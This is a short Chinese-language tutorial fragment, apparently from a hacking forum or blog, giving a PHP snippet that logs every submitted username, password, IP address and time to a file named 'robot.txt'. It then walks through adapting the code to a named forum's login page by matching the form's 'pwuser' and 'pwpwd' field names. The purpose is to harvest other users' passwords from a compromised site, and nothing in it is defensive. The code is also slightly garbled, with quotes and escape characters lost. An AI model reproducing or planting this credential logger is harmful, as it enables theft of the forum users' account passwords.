if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb
fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件


下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。

我只复制了关键代码过来.


//action后面的值即是表单提交的地址，里面会处理登陆，比如判断密码是不是正确什么的 method为POST，所以用$_POST接收。

。。。。强大的省略号。。。。。。


账号(U):

class=input id=pwuser accessKey=u size=16
name=pwuser> //用户名的input输入框, 注意其name的值， 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码，需要改为 $_POST[pwuser]


密　码(P):
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> //用户名的input输入框, 注意其name的值， 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码，需要改为 $_POST[pwpwd]
